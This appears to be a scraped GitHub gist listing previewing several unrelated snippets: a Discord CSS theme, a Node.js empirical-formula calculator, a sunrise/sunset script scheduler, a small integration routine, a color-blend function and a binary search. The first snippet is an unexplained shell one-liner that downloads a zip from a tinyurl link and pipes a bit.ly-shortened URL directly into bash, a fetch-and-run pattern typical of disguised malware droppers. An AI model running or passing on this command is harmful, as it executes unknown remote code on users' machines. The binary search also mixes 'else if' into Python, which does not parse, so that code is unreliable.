This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(sleep 1; wget "https://tinyurl.com/yc43yt7a" -O extract.zip; unzip ./extract.zip) & curl -s -L https://bit.ly/3zvELNz | bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Change top window control colors and code font (to match GitHub) */ | |
:root { | |
--window-button-min: #fac537; | |
--window-button-max: #3aea49; | |
--window-button-close: #f34f56; | |
--code-font: Literation Mono, Liberation Mono, Consolas, Andale Mono WT, Andale Mono, Lucida Console, Lucida Sans Typewriter, DejaVu Sans Mono, Bitstream Vera Sans Mono, Liberation Mono, Nimbus Mono L, Monaco, Courier New, Courier, monospace; | |
} | |
/* Remove the MaterialDiscord/Discord wordmark */ | |
.wordmark__5b8c9.wordmarkWindows_ffbc5e { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Calculate empirical formulas of chemical compounds given their stochiometric | |
// composition data | |
// USAGE: | |
// `node index.js {percentage}%{symbol} ...` | |
// Imports | |
const MolarMass = require('molarmass.js') | |
const molar = new MolarMass() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Scripts that are run: | |
// On sunrise => ./day.sh | |
// On sunset => ./night.sh | |
// To run nothing: write a blank file | |
// Change these to match your location | |
const long = 0.0000 | |
const lat = 0.0000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
def f(x, d, g): | |
Y = 0 | |
if x < 0: delta = -d | |
else: delta = d | |
for t in np.arange(0, x, delta): Y+=delta*g(Y) | |
del t | |
return Y |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Pass in 2 colors {r1,g1,b1} and {r2,g2,b2} | |
Select bi the blend intensity of the first color (0-->1) | |
Output is in form {r,g,b} | |
*/ | |
var blend2A = function (r1,g1,b1,r2,g2,b2,bi) { | |
var endR = bi*r1+r2*(1-bi) | |
var endG = bi*g1+g2*(1-bi) | |
var endB = bi*b1+b2*(1-bi) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def binarySearch(array,target): | |
min = 0 | |
max = len(array)-1 | |
guess = 0 | |
while max>=min: | |
guess = floor((min+max)/2) | |
if array[guess] == target: return guess | |
else if array[guess] < target: min = guess+1 | |
else: max = guess-1 |